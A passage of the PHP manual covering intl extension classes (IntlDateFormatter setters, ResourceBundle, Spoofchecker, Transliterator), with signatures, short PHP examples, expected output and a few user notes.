echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

?>

The above example will output:

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : -2147483
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is :
Error_msg is : Date parsing failed: U_PARSE_ERROR
Error_code is : 9

See Also

  • datefmt_is_lenient() - Get the lenient used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Set the pattern used for the IntlDateFormatter

  • « IntlDateFormatter::setLenient
  • IntlDateFormatter::setTimeZoneId »
  • PHP Manual
  • IntlDateFormatter
  • Set the pattern used for the IntlDateFormatter

IntlDateFormatter::setPattern

datefmt_set_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setPattern -- datefmt_set_pattern — Set the pattern used for the IntlDateFormatter

Description

Object oriented style

public bool IntlDateFormatter::setPattern ( string $pattern )

Procedural style

bool datefmt_set_pattern ( IntlDateFormatter $fmt , string $pattern )

Set the pattern used for the IntlDateFormatter.

Parameters

fmt

The formatter resource.

pattern

New pattern string to use. Possible patterns are documented at » http://userguide.icu-project.org/formatparse/datetime.

Return Values

Returns TRUE on success or FALSE on failure. Bad formatstrings are usually the cause of the failure.

Examples

Example #1 datefmt_set_pattern() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);
datefmt_set_pattern($fmt, 'yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'Second Formatted output with pattern is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . $fmt->getPattern();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . $fmt->getPattern();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

The above example will output:

pattern of the formatter is : MM/dd/yyyy
First Formatted output with pattern is 12/31/1969
Now pattern of the formatter is : yyyymmdd hh:mm:ss z
Second Formatted output with pattern is 19690031 04:00:00 PST

See Also

  • datefmt_get_pattern() - Get the pattern used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Sets the time zone to use

  • « IntlDateFormatter::setPattern
  • IntlDateFormatter::setTimeZone »
  • PHP Manual
  • IntlDateFormatter
  • Sets the time zone to use

IntlDateFormatter::setTimeZoneId

datefmt_set_timezone_id

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setTimeZoneId -- datefmt_set_timezone_id — Sets the time zone to use

Description

Object oriented style

public bool IntlDateFormatter::setTimeZoneId ( string $zone )

Procedural style

bool datefmt_set_timezone_id ( IntlDateFormatter $fmt , string $zone )

Sets the time zone to use.

Warning

This function has been DEPRECATED as of PHP 5.5.0. Relying on this function is highly discouraged.

Parameters

fmt

The formatter resource.

zone

The time zone ID string of the time zone to use. If NULL or the empty string, the default time zone for the runtime is used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 datefmt_set_timezone_id() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is : ' . datefmt_get_timezone_id($fmt);
datefmt_set_timezone_id($fmt, 'CN');
echo 'Now timezone_id of the formatter is : ' . datefmt_get_timezone_id($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is : ' . $fmt->getTimezoneId();
$fmt->setTimezoneId('CN');
echo 'Now timezone_id of the formatter is : ' . $fmt->getTimezoneId();

?>

The above example will output:

timezone_id of the formatter is : America/Los_Angeles
Now timezone_id of the formatter is : CN

See Also

  • datefmt_get_timezone_id() - Get the timezone-id used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Sets formatterʼs timezone

  • « IntlDateFormatter::setTimeZoneId
  • ResourceBundle »
  • PHP Manual
  • IntlDateFormatter
  • Sets formatterʼs timezone

IntlDateFormatter::setTimeZone

datefmt_set_timezone

(PHP 5 >= 5.5.0, PECL intl >= 3.0.0)

IntlDateFormatter::setTimeZone -- datefmt_set_timezone — Sets formatterʼs timezone

Description

Object oriented style

public boolean IntlDateFormatter::setTimeZone ( mixed $zone )

Procedural style

boolean datefmt_set_timezone ( mixed $zone )

Sets the timezone that will be used when formatting dates or times with this object.

Parameters

zone

The timezone to use for this formatter. This can be specified in the following forms:

  • NULL, in which case the default timezone will be used, as specified in the ini setting date.timezone or through the function date_default_timezone_set() and as returned by date_default_timezone_get().

  • An IntlTimeZone, which will be used directly.

  • A DateTimeZone. Its identifier will be extracted and an ICU timezone object will be created; the timezone will be backed by ICUʼs database, not PHPʼs.

  • A string, which should be a valid ICU timezone identifier. See IntlTimeZone::createTimeZoneIDEnumeration(). Raw offsets such as "GMT+08:30" are also accepted.

Return Values

Returns TRUE on success and FALSE on failure.

Examples

Example #1 IntlDateFormatter::setTimeZone() examples

<?php
ini_set('date.timezone', 'Europe/Amsterdam');

$formatter = IntlDateFormatter::create(NULL, NULL, NULL, "UTC");

$formatter->setTimeZone(NULL);
echo "NULL\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(IntlTimeZone::createTimeZone('Europe/Lisbon'));
echo "IntlTimeZone\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(new DateTimeZone('Europe/Paris'));
echo "DateTimeZone\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('Europe/Rome');
echo "String\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('GMT+00:30');
print_r($formatter->getTimeZone());

The above example will output:

NULL
    Europe/Amsterdam
IntlTimeZone
    Europe/Lisbon
DateTimeZone
    Europe/Paris
String
    Europe/Rome
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+00:30
    [rawOffset] => 1800000
    [currentOffset] => 1800000
)

See Also

  • IntlDateFormatter::getTimeZone() - Get formatterʼs timezone

User Contributed Notes

There are no user contributed notes for this page.


The ResourceBundle class

(PHP >= 5.3.2, PECL intl >= 2.0.0)

Introduction

Localized software products often require sets of data that are to be customized depending on current locale, e.g.: messages, labels, formatting patterns. ICU resource mechanism allows to define sets of resources that the application can load on locale basis, while accessing them in unified locale-independent fashion.

This class implements access to ICU resource data files. These files are binary data arrays which ICU uses to store the localized data.

ICU resource bundle can hold simple resources and complex resources. Complex resources are containers which can be either integer-indexed or string-indexed (just like PHP arrays). Simple resources can be of the following types: string, integer, binary data field or integer array.

ResourceBundle supports direct access to the data through array access pattern and iteration via foreach, as well as access via class methods. The result will be PHP value for simple resources and ResourceBundle object for complex ones. All resources are read-only.

Class synopsis

ResourceBundle {
/* Methods */
public __construct ( string $locale , string $bundlename [, bool $fallback ] )
public int count ( void )
public static ResourceBundle create ( string $locale , string $bundlename [, bool $fallback ] )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public mixed get ( string|int $index )
public array getLocales ( string $bundlename )
}

See Also

  • » ICU Resource Management
  • » ICU Data

Table of Contents

  • ResourceBundle::count — Get number of elements in the bundle
  • ResourceBundle::create — Create a resource bundle
  • ResourceBundle::getErrorCode — Get bundle's last error code.
  • ResourceBundle::getErrorMessage — Get bundle's last error message.
  • ResourceBundle::get — Get data from the bundle
  • ResourceBundle::getLocales — Get supported locales

User Contributed Notes

maiseralves at gmail dot com 19-May-2011 10:03
<?php
/*
 * Struct of a Resource Bundle file
 * file root.txt
 * root:table {
 *       usage:string { "Usage: genrb [Options] files" }
 *       version:int { 122 }
 *       errorcodes:array {
 *           :string { "Invalid argument" }
 *           :string { "File not found" }
 *        }
 *   }
 * use: $genrb root.txt to generate resource bundle file (root.res)
 */

//recursive function to list a resource bundle file structure using a ResourceBundle Object ( ) reference
function t($rb) {
    foreach($rb as $k => $v) {
        if(is_object($v)) {
            print_r($v);
            var_dump($k);
            t($v);
        } else {
            var_dump($k . " " . $v);
        }
    }
}
//open root.res from folder locale
$rb = new ResourceBundle('root', "./locale");

t($rb);//call the function

/* The output from root table is
 *   |- string(34) "usage Usage: genrb [Options] files"
 *   |- string(11) "version 122"
 *   |- ResourceBundle Object ( ) string(10) "errorcodes"
 *         |- string(18) "0 Invalid argument"
 *         |- string(16) "1 File not found"
 */
?>


Get number of elements in the bundle

  • « ResourceBundle
  • ResourceBundle::create »
  • PHP Manual
  • ResourceBundle
  • Get number of elements in the bundle

ResourceBundle::count

resourcebundle_count

(PHP >= 5.3.2, PECL intl >= 2.0.0)

ResourceBundle::count -- resourcebundle_count — Get number of elements in the bundle

Description

Object oriented style

public int ResourceBundle::count ( void )

Procedural style

int resourcebundle_count ( ResourceBundle $r )

Get the number of elements in the bundle.

Parameters

r

ResourceBundle object.

Return Values

Returns number of elements in the bundle.

Examples

Example #1 resourcebundle_count() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_count($r);
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->count();
?>

The above example will output:

42

See Also

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

There are no user contributed notes for this page.


Create a resource bundle

  • « ResourceBundle::count
  • ResourceBundle::getErrorCode »
  • PHP Manual
  • ResourceBundle
  • Create a resource bundle

ResourceBundle::create

resourcebundle_create

ResourceBundle::__construct

(PHP >= 5.3.2, PECL intl >= 2.0.0)

ResourceBundle::create -- resourcebundle_create -- ResourceBundle::__construct — Create a resource bundle

Description

Object oriented style (method)

public static ResourceBundle ResourceBundle::create ( string $locale , string $bundlename [, bool $fallback ] )

Procedural style

ResourceBundle resourcebundle_create ( string $locale , string $bundlename [, bool $fallback ] )

Object oriented style (constructor):

public ResourceBundle::__construct ( string $locale , string $bundlename [, bool $fallback ] )

Creates a resource bundle.

Parameters

locale

Locale for which the resources should be loaded (locale name, e.g. en_CA).

bundlename

The directory where the data is stored or the name of the .dat file.

fallback

Whether locale should match exactly or fallback to parent locale is allowed.

Return Values

Returns ResourceBundle object or NULL on error.

Examples

Example #1 resourcebundle_create() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

Example #2 ResourceBundle::create() example

<?php
$r = ResourceBundle::create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

The above example will output:

¡Hola, mundo!

See Also

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

mail at dasprids dot de 23-Jun-2014 09:17
Since this took me over 4 hours to find out after digging through the libicu source code, I thought it'd be a good idea to post it here. do access othere thata than the default "locale" data (which you get by passing NULL as $bundlename), you can use the following somewhat magic strings to get other resource bundles:

ICUDATA-curr
ICUDATA-lang
ICUDATA-region
ICUDATA-zone
mail at dasprids dot de 23-Jun-2014 06:55
To get the resource bundle provided by libicu, you can pass "null" as $bundlename.


Get bundle's last error code.

  • « ResourceBundle::create
  • ResourceBundle::getErrorMessage »
  • PHP Manual
  • ResourceBundle
  • Get bundle's last error code.

ResourceBundle::getErrorCode

resourcebundle_get_error_code

(PHP >= 5.3.2, PECL intl >= 2.0.0)

ResourceBundle::getErrorCode -- resourcebundle_get_error_code — Get bundle's last error code.

Description

Object oriented style

public int ResourceBundle::getErrorCode ( void )

Procedural style

int resourcebundle_get_error_code ( ResourceBundle $r )

Get error code from the last function performed by the bundle object.

Parameters

r

ResourceBundle object.

Return Values

Returns error code from last bundle object call.

Examples

Example #1 resourcebundle_get_error_code() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
    report_error("Bundle error");
}
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
    report_error("Bundle error");
}
?>

See Also

  • resourcebundle_get_error_message() - Get bundle's last error message.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get bundle's last error message.

  • « ResourceBundle::getErrorCode
  • ResourceBundle::get »
  • PHP Manual
  • ResourceBundle
  • Get bundle's last error message.

ResourceBundle::getErrorMessage

resourcebundle_get_error_message

(PHP >= 5.3.2, PECL intl >= 2.0.0)

ResourceBundle::getErrorMessage -- resourcebundle_get_error_message — Get bundle's last error message.

Description

Object oriented style

public string ResourceBundle::getErrorMessage ( void )

Procedural style

string resourcebundle_get_error_message ( ResourceBundle $r )

Get error message from the last function performed by the bundle object.

Parameters

r

ResourceBundle object.

Return Values

Returns error message from last bundle object's call.

Examples

Example #1 resourcebundle_get_error_message() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
    report_error("Bundle error: ".resourcebundle_get_error_message($r));
}
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
    report_error("Bundle error: ".ResourceBundle::getErrorMessage($r));
}
?>

See Also

  • resourcebundle_get_error_code() - Get bundle's last error code.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get data from the bundle

  • « ResourceBundle::getErrorMessage
  • ResourceBundle::getLocales »
  • PHP Manual
  • ResourceBundle
  • Get data from the bundle

ResourceBundle::get

resourcebundle_get

(PHP >= 5.3.2, PECL intl >= 2.0.0)

ResourceBundle::get -- resourcebundle_get — Get data from the bundle

Description

Object oriented style

public mixed ResourceBundle::get ( string|int $index )

Procedural style

mixed resourcebundle_get ( ResourceBundle $r , string|int $index )

Get the data from the bundle by index or string key.

Parameters

r

ResourceBundle object.

index

Data index, must be string or integer.

Return Values

Returns the data located at the index or NULL on error. Strings, integers and binary data strings are returned as corresponding PHP types, integer array is returned as PHP array. Complex types are returned as ResourceBundle object.

Examples

Example #1 resourcebundle_get() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_get($r, 'somestring');
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->get('somestring');
?>

The above example will output:

?Hola, mundo!

See Also

  • resourcebundle_count() - Get number of elements in the bundle

User Contributed Notes

There are no user contributed notes for this page.


Get supported locales

  • « ResourceBundle::get
  • Spoofchecker »
  • PHP Manual
  • ResourceBundle
  • Get supported locales

ResourceBundle::getLocales

resourcebundle_locales

(PHP >= 5.3.2, PECL intl >= 2.0.0)

ResourceBundle::getLocales -- resourcebundle_locales — Get supported locales

Description

Object oriented style

public array ResourceBundle::getLocales ( string $bundlename )

Procedural style

array resourcebundle_locales ( string $bundlename )

Get available locales from ResourceBundle name.

Parameters

bundlename

Path of ResourceBundle for which to get available locales, or empty string for default locales list.

Return Values

Returns the list of locales supported by the bundle.

Examples

Example #1 resourcebundle_locales() example

<?php
$bundle = "/user/share/data/myapp";
echo join(PHP_EOL, resourcebundle_locales($bundle);
?>

The above example will output something similar to:

es
root

Example #2 OO example

<?php
$bundle = "/usr/share/data/myapp";
$r = new ResourceBundle( 'es', $bundle);
echo join("\n", $r->getLocales($bundle));
?>

The above example will output something similar to:

es
root

See Also

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

jared at enhancesoft dot com 20-Oct-2014 11:53
If you call this method with an empty string, it will return a list of all locales available in the ICU library (via the intl extension):

<?php
print_r(ResourceBundle::getLocales(''));

 /* Output might show
  * Array
  * (
  *    [0] => af
  *    [1] => af_NA
  *    [2] => af_ZA
  *    [3] => am
  *    [4] => am_ET
  *    [5] => ar
  *    [6] => ar_AE
  *    [7] => ar_BH
  *    [8] => ar_DZ
  *    [9] => ar_EG
  *    [10] => ar_IQ
  *  ...
  */
?>


The Spoofchecker class

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Introduction

Class synopsis

Spoofchecker {
/* Constants */
const integer SINGLE_SCRIPT_CONFUSABLE = 1 ;
const integer MIXED_SCRIPT_CONFUSABLE = 2 ;
const integer WHOLE_SCRIPT_CONFUSABLE = 4 ;
const integer ANY_CASE = 8 ;
const integer SINGLE_SCRIPT = 16 ;
const integer INVISIBLE = 32 ;
const integer CHAR_LIMIT = 64 ;
/* Methods */
public bool areConfusable ( string $s1 , string $s2 [, string &$error ] )
public __construct ( void )
public bool isSuspicious ( string $text [, string &$error ] )
public void setAllowedLocales ( string $locale_list )
public void setChecks ( long $checks )
}

Predefined Constants

Spoofchecker::SINGLE_SCRIPT_CONFUSABLE

Spoofchecker::MIXED_SCRIPT_CONFUSABLE

Spoofchecker::WHOLE_SCRIPT_CONFUSABLE

Spoofchecker::ANY_CASE

Spoofchecker::SINGLE_SCRIPT

Spoofchecker::INVISIBLE

Spoofchecker::CHAR_LIMIT

Table of Contents

  • Spoofchecker::areConfusable — Checks if a given text contains any confusable characters
  • Spoofchecker::__construct — Constructor
  • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
  • Spoofchecker::setAllowedLocales — Locales to use when running checks
  • Spoofchecker::setChecks — Set the checks to run

User Contributed Notes

There are no user contributed notes for this page.


Checks if a given text contains any confusable characters

  • « Spoofchecker
  • Spoofchecker::__construct »
  • PHP Manual
  • Spoofchecker
  • Checks if a given text contains any confusable characters

Spoofchecker::areConfusable

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Spoofchecker::areConfusable — Checks if a given text contains any confusable characters

Description

public bool Spoofchecker::areConfusable ( string $s1 , string $s2 [, string &$error ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

s1

s2

error

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « Spoofchecker::areConfusable
  • Spoofchecker::isSuspicious »
  • PHP Manual
  • Spoofchecker
  • Constructor

Spoofchecker::__construct

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Spoofchecker::__construct — Constructor

Description

public Spoofchecker::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Checks if a given text contains any suspicious characters

  • « Spoofchecker::__construct
  • Spoofchecker::setAllowedLocales »
  • PHP Manual
  • Spoofchecker
  • Checks if a given text contains any suspicious characters

Spoofchecker::isSuspicious

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters

Description

public bool Spoofchecker::isSuspicious ( string $text [, string &$error ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

error

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Locales to use when running checks

  • « Spoofchecker::isSuspicious
  • Spoofchecker::setChecks »
  • PHP Manual
  • Spoofchecker
  • Locales to use when running checks

Spoofchecker::setAllowedLocales

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Spoofchecker::setAllowedLocales — Locales to use when running checks

Description

public void Spoofchecker::setAllowedLocales ( string $locale_list )

Warning

This function is currently not documented; only its argument list is available.

Parameters

locale_list

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the checks to run

  • « Spoofchecker::setAllowedLocales
  • Transliterator »
  • PHP Manual
  • Spoofchecker
  • Set the checks to run

Spoofchecker::setChecks

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Spoofchecker::setChecks — Set the checks to run

Description

public void Spoofchecker::setChecks ( long $checks )

Warning

This function is currently not documented; only its argument list is available.

Parameters

checks

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Transliterator class

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Introduction

Transliterator provides transliteration of strings.

Class synopsis

Transliterator {
/* Constants */
const integer FORWARD = 0 ;
const integer REVERSE = 1 ;
/* Properties */
public $id ;
/* Methods */
__construct ( void )
public static Transliterator create ( string $id [, int $direction ] )
public static Transliterator createFromRules ( string $rules [, string $direction ] )
public Transliterator createInverse ( void )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public static array listIDs ( void )
public string transliterate ( string $subject [, int $start [, int $end ]] )
}

Properties

id

Predefined Constants

Transliterator::FORWARD

Transliterator::REVERSE

Table of Contents

  • Transliterator::__construct — Private constructor to deny instantiation
  • Transliterator::create — Create a transliterator
  • Transliterator::createFromRules — Create transliterator from rules
  • Transliterator::createInverse — Create an inverse transliterator
  • Transliterator::getErrorCode — Get last error code
  • Transliterator::getErrorMessage — Get last error message
  • Transliterator::listIDs — Get transliterator IDs
  • Transliterator::transliterate — Transliterate a string

User Contributed Notes

asphp at dsgml dot com 03-Sep-2014 06:07
For more documentation see here: http://userguide.icu-project.org/transforms/general


Private constructor to deny instantiation

  • « Transliterator
  • Transliterator::create »
  • PHP Manual
  • Transliterator
  • Private constructor to deny instantiation

Transliterator::__construct

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::__construct — Private constructor to deny instantiation

Description

Transliterator::__construct ( void )

This method should not be called. Its only purpose is to deny instantiation with the new operator.

Use the factory methods Transliterator::create() or Transliterator::createFromRules() instead.

Parameters

This function has no parameters.

Return Values

This method should not be executed. If it is (e.g. through reflection), then its return value is unspecified.

See Also

  • Transliterator::create() - Create a transliterator
  • Transliterator::createFromRules() - Create transliterator from rules

User Contributed Notes

There are no user contributed notes for this page.


Create a transliterator

  • « Transliterator::__construct
  • Transliterator::createFromRules »
  • PHP Manual
  • Transliterator
  • Create a transliterator

Transliterator::create

transliterator_create

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::create -- transliterator_create — Create a transliterator

Description

Object oriented style

public static Transliterator Transliterator::create ( string $id [, int $direction ] )

Procedural style

Transliterator transliterator_create ( string $id [, int $direction ] )

Opens a Transliterator by id.

Warning

This function is currently not documented; only its argument list is available.

Parameters

id

The id.

direction

The direction, defaults to >Transliterator::FORWARD. May also be set to Transliterator::REVERSE.

Return Values

Returns a Transliterator object on success, or NULL on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::__construct() - Private constructor to deny instantiation

User Contributed Notes

There are no user contributed notes for this page.


Create transliterator from rules

  • « Transliterator::create
  • Transliterator::createInverse »
  • PHP Manual
  • Transliterator
  • Create transliterator from rules

Transliterator::createFromRules

transliterator_create_from_rules

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::createFromRules -- transliterator_create_from_rules — Create transliterator from rules

Description

Object oriented style

public static Transliterator Transliterator::createFromRules ( string $rules [, string $direction ] )

Procedural style

Transliterator transliterator_create_from_rules ( string $id [, int $direction ] )

Creates a Transliterator from rules.

Warning

This function is currently not documented; only its argument list is available.

Parameters

rules

The rules.

direction

The direction, defaults to >Transliterator::FORWARD. May also be set to Transliterator::REVERSE.

Return Values

Returns a Transliterator object on success, or NULL on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::create() - Create a transliterator

User Contributed Notes

There are no user contributed notes for this page.


Create an inverse transliterator

  • « Transliterator::createFromRules
  • Transliterator::getErrorCode »
  • PHP Manual
  • Transliterator
  • Create an inverse transliterator

Transliterator::createInverse

transliterator_create_inverse

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::createInverse -- transliterator_create_inverse — Create an inverse transliterator

Description

Object oriented style

public Transliterator Transliterator::createInverse ( void )

Procedural style

Transliterator transliterator_create_inverse ( void )

Opens the inverse transliterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns a Transliterator object on success, or NULL on failure

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::create() - Create a transliterator

User Contributed Notes

There are no user contributed notes for this page.


Get last error code

  • « Transliterator::createInverse
  • Transliterator::getErrorMessage »
  • PHP Manual
  • Transliterator
  • Get last error code

Transliterator::getErrorCode

transliterator_get_error_code

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::getErrorCode -- transliterator_get_error_code — Get last error code

Description

Object oriented style

public int Transliterator::getErrorCode ( void )

Procedural style

int transliterator_get_error_code ( void )

Gets the last error code for this transliterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The error code on success, or FALSE if none exists, or on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::listIDs() - Get transliterator IDs

User Contributed Notes

There are no user contributed notes for this page.


Get last error message

  • « Transliterator::getErrorCode
  • Transliterator::listIDs »
  • PHP Manual
  • Transliterator
  • Get last error message

Transliterator::getErrorMessage

transliterator_get_error_message

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::getErrorMessage -- transliterator_get_error_message — Get last error message

Description

Object oriented style

public string Transliterator::getErrorMessage ( void )

Procedural style

string transliterator_get_error_message ( void )

Gets the last error message for this transliterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The error code on success, or FALSE if none exists, or on failure.

See Also

  • Transliterator::getErrorCode() - Get last error code
  • Transliterator::listIDs() - Get transliterator IDs

User Contributed Notes

There are no user contributed notes for this page.


Get transliterator IDs

  • « Transliterator::getErrorMessage
  • Transliterator::transliterate »
  • PHP Manual
  • Transliterator
  • Get transliterator IDs

Transliterator::listIDs

transliterator_list_ids

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::listIDs -- transliterator_list_ids — Get transliterator IDs

Description

Object oriented style

public static array Transliterator::listIDs ( void )

Procedural style

array transliterator_list_ids ( void )

Returns an array with the registered transliterator IDs.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An array of registered transliterator IDs on success, or FALSE on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::transliterate() - Transliterate a string

User Contributed Notes

There are no user contributed notes for this page.


Transliterate a string

  • « Transliterator::listIDs
  • IntlBreakIterator »
  • PHP Manual
  • Transliterator
  • Transliterate a string

Transliterator::transliterate

transliterator_transliterate

(PHP >= 5.4.0, PECL intl >= 2.0.0)

Transliterator::transliterate -- transliterator_transliterate — Transliterate a string

Description

Object oriented style

public string Transliterator::transliterate ( string $subject [, int $start [, int $end ]] )

Procedural style

transliterator_transliterate ( mixed $transliterator , string $subject [, int $start [, int $end ]] )

Transforms a string or part thereof using an ICU transliterator.

Parameters

transliterator

In the procedural version, either a Transliterator or a string from which a Transliterator can be built.

subject

The string to be transformed.

start

The start index (in UTF-16 code units) from which the string will start to be transformed, inclusive. Indexing starts at 0. The text before will be left as is.

end

The end index (in UTF-16 code units) until which the string will be transformed, exclusive. Indexing starts at 0. The text after will be left as is.

Return Values

The transfomed string on success, or FALSE on failure.

Examples

Example #1 Converting escaped UTF-16 code units

<?php
$s = "\u304A\u65E9\u3046\u3054\u3056\u3044\u307E\u3059";
echo transliterator_transliterate("Hex-Any/Java", $s), "\n";

//now the reverse operation with a supplementary character
$supplChar = html_entity_decode('&#x1D11E;');
echo mb_strlen($supplChar, "UTF-8"), "\n";
$encSupplChar = transliterator_transliterate("Any-Hex/Java", $supplChar);
//echoes two encoded UTF-16 code units
echo $encSupplChar, "\n";
//and back
echo transliterator_transliterate("Hex-Any/Java", $encSupplChar), "\n";
?>

The above example will output something similar to:

お早うございます
1
\uD834\uDD1E
𝄞

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::__construct() - Private constructor to deny instantiation

User Contributed Notes

simonsimcity at gmail dot com 05-Jun-2014 05:16
Sorry, for posting it again, but I found a bug in my code:

If you have a character, like the cyrillic ь (a soft-sign - no sound), the "Any-Latin" would translate it to a prime-character, and the "Latin-ASCII" doesn't touch prime-characters. Therefore I added an option to remove all characters, that are higher than \u0100.

Here's my new code, including an example:

var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; [\u0100-\u7fff] remove',
    "A æ Übérmensch på høyeste nivå! И я люблю PHP! есть. ﬁ"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est. fi"

Another approach, I found quite helpful (if you by no way want to remove characters ...), try to use iconv() in addition. This surely will just return ASCII characters.

See: http://stackoverflow.com/a/3542748/517914

Also an example here:

var_dump(iconv("UTF-8", "ASCII//TRANSLIT//IGNORE", transliterator_transliterate('Any-Latin; Latin-ASCII',
    "A æ Übérmensch på høyeste nivå! И я люблю PHP! есть. ﬁ"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est'. fi"
simonsimcity at gmail dot com 16-Apr-2013 03:11
I pretty much like the idea of hdogan, but there's at least one group of characters he's missing: ligature characters.
